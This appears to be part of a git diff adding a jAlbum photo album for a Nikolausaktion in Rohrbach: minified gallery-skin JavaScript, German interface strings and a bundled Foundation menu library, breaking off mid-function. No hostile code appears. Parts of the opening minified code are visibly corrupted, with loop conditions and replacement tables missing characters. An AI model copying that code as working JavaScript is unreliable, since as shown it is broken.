n.substring(t+3);n=n.substring(0,e)+n.substring(t+2)}return n},String.prototype.fullUrl=function(){var t=this+"";return t.match(/^(http|ftp|file)/)||(t=window.location.href.getDir()+t),t.fixUrl()},String.prototype.cleanupHTML=function(){for(var t=[[/<(b|h)r\/?>/gi,"\n"],[/\&/g,"&"],[/\ /g," "],[/\</g,"<"],[/\>/g,">"],[/\&(m|n)dash;/g,"-"],[/\'/g,"'"],[/\"/g,'"']],e=this+"",n=t.length-1;n>=0;n--)e=e.replace(t[n][0],t[n][1]);return e.replace},String.prototype.stripHTML=function(t){var e=this+"";return t&&(e=e.cleanupHTML()),e.replace(/<\/?[^>]+>/g," ")},String.prototype.stripQuote=function(){return(this+"").replace(/\"/gi,""")},String.prototype.appendSep=function(t,e){return(this.length?this+(e||" · "):"")+t},String.prototype.rgb2hex=function(){var t=this+"";if("#"===t.charAt(0)||"transparent"===t)return t;var e,n=t.match(/\d+/g),r="";if(n){for(var o=0;o0&&n.push.apply(n,t.substring(0,e).split(" ")),t=t.substring(e+1),(e=t.indexOf('"'))<0){n.push(t);break}n.push(t.substring(0,e)),t=t.substring(e+1)}while(t.length);return n},String.prototype.objectify=function(){if(!this||!this.length)return this;var t=this+"";"?"!==t.charAt(0)&&"#"!==t.charAt(0)||(t=t.substring(1));for(var e,n={},r=t.split("&"),o=0,i=r.length;o1&&("img"===e[0]?n.img=e[1]:n[e[0]]=decodeURIComponent(e[1]));return n},String.prototype.testIn=function(t){return"string"!=typeof t&&(t+=""),new RegExp(this,"i").test(t)},String.prototype.testExactMatch=function(t){if(t.constructor!==Array)return this==t+"";for(var e=0,n=t.length;en?n:e},Math.getRange=function(t,e){if(e.constructor!==Array)return t>=e?1:0;if(1===e.length)return t>=e[0]?1:0;if(t=e[n-1]&&t';DIR_PATH=function(){var t=window.location.pathname,e=document.getElementsByTagName("html")[0].getAttribute("data-level")||0;do{t=t.substring(0,t.lastIndexOf("/"))}while(e--);return t+"/"}(),isEmpty=function(t){return null==t||0===Object.getOwnPropertyNames(t).length},paramize=function(t){if("number"==typeof t)return""+t;if("string"==typeof t)return t;if("object"==typeof t){for(var e="",n=Object.getOwnPropertyNames(t),r=n.length,o=0;o=730?(e=translate("yearsAgo"),n=Math.round(t/365)):t>=60?(e=translate("monthsAgo"),n=Math.round(t/30.5)):(e=translate("daysAgo"),n=t),e.replace("{0}",n)},getTimespan=function(t){if(!t)return translate("inThePast24Hours");if(t<2)return translate("inThePast48Hours");var e,n;return t>=730?(e=translate("inThePastNYears"),n=Math.round(t/365)):t>=60?(e=translate("inThePastNMonths"),n=Math.round(t/30.42)):(e=translate("inThePastNDays"),n=t),e.replace("{0}",n)},getFractionValue=function(t){var e=t.match(/^([\d\.]+)\/([\d\.]+)/);return e&&e.length>1&&0!==e[2]?e[1]/e[2]:t},getExposure=function(t){return t=t.includes("/")?getFractionValue(t):parseFloat(t)},getRelativePath=function(t,e){if(typeof e===UNDEF||!e.length||typeof t===UNDEF||!t.length)return"";if(e.endsWith("/")||(e+="/"),"/"===t)return e;if(t.endsWith("/")||(t+="/"),t===e)return"";var n="../../../../../../../../../../../../../../../../../../../../",r=t.split("/");if("/"===e)return n.substring(0,3*r.length);for(var o=e.split("/");r.length&&o.length&&r[0]===o[0];)r.shift(),o.shift();return n.substring(0,3*(r.length-1))+o.join("/")},encodeAsJava=function(t){var e="";for(t=/^(https?:|file:)?\/\//i.test(t)?encodeURI(t):encodeURIComponent(t),i=0;i1?r:t||"index.html")}},setParam=function(t,e,n){if(HISTORY){var r="#"+paramize(e);r!==window.location.hash&&history.pushState(e,void 0===n?"":n,r.length>1?r:t||"index.html")}},removeParam=function(t,e,n){if(HISTORY){var r,o=window.location.hash;o&&(void 0===e?(o="",history.pushState("","",t||"index.html")):("#"===o.charAt(0)&&(o=o.substring(1)),(r=o.objectify()).hasOwnProperty(e)&&(delete r[e],o="#"+paramize(r)),history.pushState(r,void 0===n?"":n,o.length>1?o:t||"index.html")))}},removeSearch=function(t){HISTORY&&history.replaceState(history.state,void 0===t?"":t,window.location.href.replace(window.location.search,""))},readParam=function(){if(HISTORY){if(history.state)return history.state.hasOwnProperty("img")&&(history.state.img=encodeURIComponent(history.state.img)),history.state;var t=window.location.hash;return"#"===t.charAt(0)&&(t=t.substring(1)),t.objectify()}return null},pushAll=function(t,e){if(t instanceof Array)if(e instanceof Array)for(var n=0,r=e.length;n]*\swidth="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*width:\s?([\d\.]+)(r?em|px)"/i),n=t.match(/<\w+\s[^>]*\sheight="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*height:\s?([\d\.]+)(r?em|px)"/i),e?(r[0]=parseFloat(e[1]),"px"!==e[2]&&(r[0]*=16),n?(r[1]=parseFloat(n[1]),"px"!==n[2]&&(r[1]*=16)):r[1]=.75*r[0],r):null):null},currencyToHtml={USD:"US$",EUR:"€",GBP:"GB£",JPY:"¥",HUF:"Ft",CAD:"CAN$",AUD:"AU$",RUB:"₽"},codeToCurrency=function(t){return currencyToHtml.hasOwnProperty(t)?currencyToHtml[t]:t},currencyToHtmlShort={USD:"$",EUR:"€",GBP:"£",JPY:"¥",HUF:"Ft",CAD:"$",AUD:"$",RUB:"₽"},codeToShortCurrency=function(t){return currencyToHtmlShort.hasOwnProperty(t)?currencyToHtmlShort[t]:t},printImage=function(t,e,n){if(t){var r=window.open("about:blank","print","location=no,status=no,titlebar=no");r.document.open(),r.document.write('\n\n\n\n'+(e||"Print")+'\n + + + + + + + + + +
    + + +
    + + + + diff --git a/public/fotoalbum/Nikolausaktion-Rohrbach/album/lifeboat.zip b/public/fotoalbum/Nikolausaktion-Rohrbach/album/lifeboat.zip new file mode 100644 index 00000000..68a2ac81 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Rohrbach/album/lifeboat.zip differ diff --git a/public/fotoalbum/Nikolausaktion-Rohrbach/album/res/all.min.js b/public/fotoalbum/Nikolausaktion-Rohrbach/album/res/all.min.js new file mode 100644 index 00000000..40ff14e1 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Rohrbach/album/res/all.min.js @@ -0,0 +1,27 @@ +/* all.min.js - Tiger skin scripts */ +var VER='2.13.6',DEBUG=false; +;Texts = {and:'und',from:'Von {0}',databaseMissingOrBroken:'The current folder´s database file is missing or broken!',checkProcessSubdirectories:'Check if you´ve allowed jAlbum to process the subdirectories and "Make album" again!',uploadAlbumAgain:'If you´re the owner try to "Upload" the album again!',localAccessBlocked:'Local access to the album´s database file is blocked by your browser. This does not affect the uploaded album! Use jAlbum´s Preview (F12) for testing!',closeWindow:'Fenster schließen',okButton:'OK',warning:'Warnung',error:'Fehler',today:'heute',yesterday:'gestern',daysAgo:'Vor {0} Tagen',monthsAgo:'Vor {0} Monaten',yearsAgo:'Vor {0} Jahren',addCart:'In den Warenkorb',shoppingCart:'Warenkorb',edit:'Bearbeiten',continueShopping:'Weiter einkaufen',added:'Hinzugefügt...',buyNow:'Jetzt kaufen',processedByPaypal:'Die Bezahlung wird durch PayPal abgewickelt',viewCart:'Warenkorb prüfen',emptyCart:'Warenkorb leeren',removeAllItems:'Alle Artikel entfernen?',yes:'Ja',no:'Nein',noMoreItems:'Bei PayPal können Sie nicht mehr als 99 Artikel gleichzeitig kaufen. Es wurden nur die ersten 99 hinzugefügt.',item:'Artikel',items:'Artikel',success:'Erfolgreich',couponCode:'Gutscheincode',redeem:'Einlösen',noSuch:'Dieser Gutschein existiert nicht!',expired:'Der Gutscheincode {0} ist abgelaufen!',lowerThanCurrent:'Dieser Coupon bietet weniger Rabatt als der aktuelle {0}.',reclaimed:'Dieser Gutschein wurde bereits benutzt!',select:'Auswählen',all:'Alle',none:'Keine',selectedItems:'Markierte Artikel',shoppingcartInfo:'Dieser Artikel wurde dem Warenkorb hinzugefügt. Nach Schließen des Leuchtkastens können Sie ihn durch Drücken des "Jetzt kaufen"-Buttons erwerben.',subtotal:'Zwischensumme',total:'Summe',shippingAndHandling:'Versand',reduction:'Ersparnis',discount:'Rabatt',tax:'Steuer',remove:'Entfernen',couponAccepted:'Gutschein akzeptiert, rabattiere {0}.',couponRemoved:'Der Gutschein wurde entfernt.',amountLowerThan:'Die Summe ist niedriger als der Rabatt {0}.',addMoreItems:'Fügen Sie {0} weitere Artikel hinzu um den Rabatt zu erhalten!',validAbove:'Gültig nur sofern Warenkorbwert größer als {0}.',higherThanTotal:'Der Coupon hat einen höheren Rabatt ({0}) als die Gesamtsumme.',minAmountWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Summe größer ist als {0}.',minQuantityWarning:'Dieser Gutschein kann nur benutzt werden, wenn die Anzahl größer ist als {0}.',maxNItems:'Maximal {0} Artikel erlaubt!',continueBrowsing:'Weiter surfen',feedback:'Feedback',sendFeedback:'Feedback versenden',addComment:'Kommentar hinzufügen',viewFeedbackCart:'Feedback Fenster',feedbackOnAlbum:'Feedback zum Album',dismissFeedback:'Kommentar löschen',removeAllItems:'Alle Artikel entfernen?',to:'An',subject:'Betreff',warning:'Warnung',removeAll:'Alle entfernen',copiedToClipboard:'In die Zwischenablage kopiert!',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',tooLong:'Text ist zu lang oder zu viele Artikel!',copyInstructions:'Der Text wurde in Ihre Zwischenablage kopiert. Wechseln Sie nun zur E-Mail-Anwendung (oder zu Webmail) und fügen Sie sie ein. Springen Sie zu "An" und "Betreff" in die entsprechenden Felder!',feedbackButtonExplanation:'Versuchen Sie "Senden", wenn Sie eine E-Mail-Anwendung installiert haben, verwenden Sie "Kopieren" für Webmail!',share:'Teilen',shareOn:'Teilen auf',checkThisOut:'Check this out',localWarning:'Lokale Alben können nicht geteilt werden. Bitte das Album erst hochladen!',foundNTimes:'{0} Bild(er)',notFound:'Nicht gefunden',search:'Suche',newImages:'Neue Bilder',results:'Results',reset:'Reset',label:'Label',return:'Zurück',select:'Auswählen',sortBy:'Sort by',sortedBy:'Sorted by',ascending:'ascending',descending:'descending',multipleSelectHint:'Use SHIFT to select range, CTRL for multiple entries',newItem:'NEU',today:'heute',inThePast24Hours:'In den letzten 24 Stunden',inThePast48Hours:'In den letzten 48 Stunden',inTheLastDay:'Gestern',inThePastNDays:'In den letzten {0} Tagen',inThePastNMonths:'In den letzten {0} Monaten',inThePastNYears:'In den letzten {0} Jahren',sinceMyLastVisit:'Seit dem letzten Besuch',imagesAdded:'Neu zugefügt',imagesModified:'Geändert',imagesTaken:'Aufgenommen',startSlideshow:'Diashow starten',startSlideshowShort:'Starten',atFirstPage:'Erste Seite',atLastPage:'Letzte Seite',atLastPageQuestion:'Wohin nun weiter?',startOver:'Erneut starten',backToHome:'Eine Ebene höher',stop:'Stopp',pause:'Pause',pauseShort:'Pause',upOneLevel:'Eine Ebene nach oben',upOneLevelShort:'Abbrechen',backToIndex:'Zurück zur Miniaturansichtsseite / eine Ebene höher Esc',previousPicture:'Vorheriges Bild',previousPictureShort:'Vorheriges',nextPicture:'Nächstes Bild',nextPictureShort:'Nächstes',previousFolder:'Vorheriger Ordner',nextFolder:'Nächster Ordner',oneToOneSize:'Normalgröße',oneToOneSizeShort:'1:1',fullscreen:'Full screen',exitFullscreen:'Exit full screen',fullscreenShort:'Fullscr',exitFullscreenShort:'Normal',fitToScreen:'Auf Fenstergröße anpassen',fitToScreenShort:'anpassen',showInfo:'Zeige Beschriftung / Info',showInfoShort:'Info anzeigen',hideInfo:'Verberge Beschriftung / Info',hideInfoShort:'Info ausblenden',showThumbs:'Miniaturen anzeigen',showThumbsShort:'Miniaturen',hideThumbs:'Miniaturen verbergen',hideThumbsShort:'Hide thumbs',clickToOpen:'Anklicken um das Dokument mit dem zugeordneten Programm anzuzeigen',rating:'Rating',metaBtn:'Bilddaten',metaLabel:'Bilddaten (Exif/Iptc) anzeigen',mapBtn:'Karte',mapLabel:'Aufnahmeort auf der Karte anzeigen',shopBtn:'Kaufen',shopLabel:'Zeige Optionen dieses Bild zu kaufen',viewCartLabel:'Zeige den Warenkorb',feedbackLabel:'Zeige Feedback Fenster',shareBtn:'Teilen',shareLabel:'Dieses Bild in Sozialen Netzwerken teilen',download:'Herunterladen',print:'Drucken',printLabel:'Dieses Bild auf Ihrem Drucker drucken',fotomotoBtn:'Kaufen / Teilen',fotomotoLabel:'Abzüge oder Bilddateien kaufen, Bilder teilen oder kostenlos eCards versenden',mostphotosBtn:'Kaufen',mostphotosLabel:'Dieses Bild von mostphotos.com herunterladen!',regionsBtn:'Menschen',regionsLabel:'Zeige markierte Menschen',sendFeedback:'Feedback versenden',message:'Nachricht',subject:'Betreff',comment:'Kommentar',yourEmail:'Ihre Mail-Adresse',send:'Senden',messageSent:'Nachricht versendet',errorSending:'Fehler beim E-Mail Versand!',tooLong:'Text ist zu lang oder zu viele Artikel!',emailMissing:'E-Mail Adresse fehlt oder ist im falschen Format!',noItemsSelected:'Nichts ausgewählt',selectItemsHint:'Wählen Sie zunächst die gewünschten Artikel aus!',scrollTopTooltip:'Nach oben',more:'mehr',less:'weniger',locationWarning:'Funktioniert nur nach dem Upload',cookiePolicyText:'Dieses Album nutzt Cookies um Nutzereinstellungen zu speichern. Durch die Nutzung stimmen Sie der Speicherung unserer Cookies zu.',cookiePolicyAgree:'Verstanden',cookiePolicyLearnMore:'Mehr Informationen',gdprComplianceText:'Diese Website verwendet die folgenden externen Dienste, die Ihre Besuche anonym verfolgen können. Durch Deaktivieren der Nachverfolgung wird ihre Funktionalität beendet.',allowAll:'Alle erlauben',denyAll:'Alle verbieten',allowSelected:'Erlaube ausgewählte'}; +!function(n,e){if("object"==typeof exports&&"object"==typeof module)module.exports=e(require("jquery"));else if("function"==typeof define&&define.amd)define(["jquery"],e);else{var t="object"==typeof exports?e(require("jquery")):e(n.jQuery);for(var o in t)("object"==typeof exports?exports:n)[o]=t[o]}}(window,function(__WEBPACK_EXTERNAL_MODULE_jquery__){return function(t){var o={};function i(n){if(o[n])return o[n].exports;var e=o[n]={i:n,l:!1,exports:{}};return t[n].call(e.exports,e,e.exports,i),e.l=!0,e.exports}return i.m=t,i.c=o,i.d=function(n,e,t){i.o(n,e)||Object.defineProperty(n,e,{enumerable:!0,get:t})},i.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},i.t=function(e,n){if(1&n&&(e=i(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var o in e)i.d(t,o,function(n){return e[n]}.bind(null,o));return t},i.n=function(n){var e=n&&n.__esModule?function(){return n.default}:function(){return n};return i.d(e,"a",e),e},i.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s="../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js")}({"../../../../../../tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./js/foundation.core */ "./js/foundation.core.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./js/foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./js/foundation.util.triggers */ "./js/foundation.util.triggers.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./js/foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./js/foundation.responsiveMenu */ "./js/foundation.responsiveMenu.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./js/foundation.reveal */ "./js/foundation.reveal.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./js/foundation.responsiveToggle */ "./js/foundation.responsiveToggle.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./js/foundation.toggler */ "./js/foundation.toggler.js");\n/* harmony import */ var _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./js/foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].addToJquery(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].MediaQuery = _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__["MediaQuery"];\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_util_triggers__WEBPACK_IMPORTED_MODULE_3__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a, _home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"]);\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"], \'DropdownMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveMenu__WEBPACK_IMPORTED_MODULE_5__["ResponsiveMenu"], \'ResponsiveMenu\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_6__["Reveal"], \'Reveal\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_7__["ResponsiveToggle"], \'ResponsiveToggle\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_8__["Toggler"], \'Toggler\');\n\n_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__["Foundation"].plugin(_home_deployer_sites_node_foundation_customizer_node_foundation_customizer_foundation_sites_js_foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_9__["SmoothScroll"], \'SmoothScroll\');\n\n//# sourceURL=webpack:////tmp/tmp.6.5.1.76b4e74bdc72140cd4249f18753d2411/js/vendor/foundation.js?')},"./js/foundation.accordionMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"AccordionMenu\", function() { return AccordionMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\n\nvar AccordionMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(AccordionMenu, _Plugin);\n\n function AccordionMenu() {\n _classCallCheck(this, AccordionMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(AccordionMenu).apply(this, arguments));\n }\n\n _createClass(AccordionMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of an accordion menu.\n * @class\n * @name AccordionMenu\n * @fires AccordionMenu#init\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, AccordionMenu.defaults, this.$element.data(), options);\n this.className = 'AccordionMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('AccordionMenu', {\n 'ENTER': 'toggle',\n 'SPACE': 'toggle',\n 'ARROW_RIGHT': 'open',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'close',\n 'ESCAPE': 'closeAll'\n });\n }\n /**\n * Initializes the accordion menu by hiding all nested menus.\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'accordion');\n\n var _this = this;\n\n this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': this.options.multiOpen\n });\n this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n this.$menuLinks.each(function () {\n var linkId = this.id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu-link'),\n $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $elem.children('[data-submenu]'),\n subId = $sub[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'acc-menu'),\n isActive = $sub.hasClass('is-active');\n\n if (_this.options.parentLink) {\n var $anchor = $elem.children('a');\n $anchor.clone().prependTo($sub).wrap('
  • ');\n }\n\n if (_this.options.submenuToggle) {\n $elem.addClass('has-submenu-toggle');\n $elem.children('a').after('');\n } else {\n $elem.attr({\n 'aria-controls': subId,\n 'aria-expanded': isActive,\n 'id': linkId\n });\n }\n\n $sub.attr({\n 'aria-labelledby': linkId,\n 'aria-hidden': !isActive,\n 'role': 'group',\n 'id': subId\n });\n });\n this.$element.find('li').attr({\n 'role': 'treeitem'\n });\n var initPanes = this.$element.find('.is-active');\n\n if (initPanes.length) {\n var _this = this;\n\n initPanes.each(function () {\n _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n });\n }\n\n this._events();\n }\n /**\n * Adds event handlers for items within the menu.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this;\n\n this.$element.find('li').each(function () {\n var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n\n if ($submenu.length) {\n if (_this.options.submenuToggle) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n _this.toggle($submenu);\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n e.preventDefault();\n\n _this.toggle($submenu);\n });\n }\n }\n }).on('keydown.zf.accordionmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('ul').children('li'),\n $prevElement,\n $nextElement,\n $target = $element.children('[data-submenu]');\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n // has open sub menu\n $nextElement = $element.find('li:first-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n // is first element of sub menu\n $prevElement = $element.parents('li').first().find('a').first();\n } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n // if previous element has open sub menu\n $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n // is last element of sub menu\n $nextElement = $element.parents('li').first().next('li').find('a').first();\n }\n\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'AccordionMenu', {\n open: function open() {\n if ($target.is(':hidden')) {\n _this.down($target);\n\n $target.find('li').first().find('a').first().focus();\n }\n },\n close: function close() {\n if ($target.length && !$target.is(':hidden')) {\n // close active sub of this item\n _this.up($target);\n } else if ($element.parent('[data-submenu]').length) {\n // close currently open sub\n _this.up($element.parent('[data-submenu]'));\n\n $element.parents('li').first().find('a').first().focus();\n }\n },\n up: function up() {\n $prevElement.focus();\n return true;\n },\n down: function down() {\n $nextElement.focus();\n return true;\n },\n toggle: function toggle() {\n if (_this.options.submenuToggle) {\n return false;\n }\n\n if ($element.children('[data-submenu]').length) {\n _this.toggle($element.children('[data-submenu]'));\n\n return 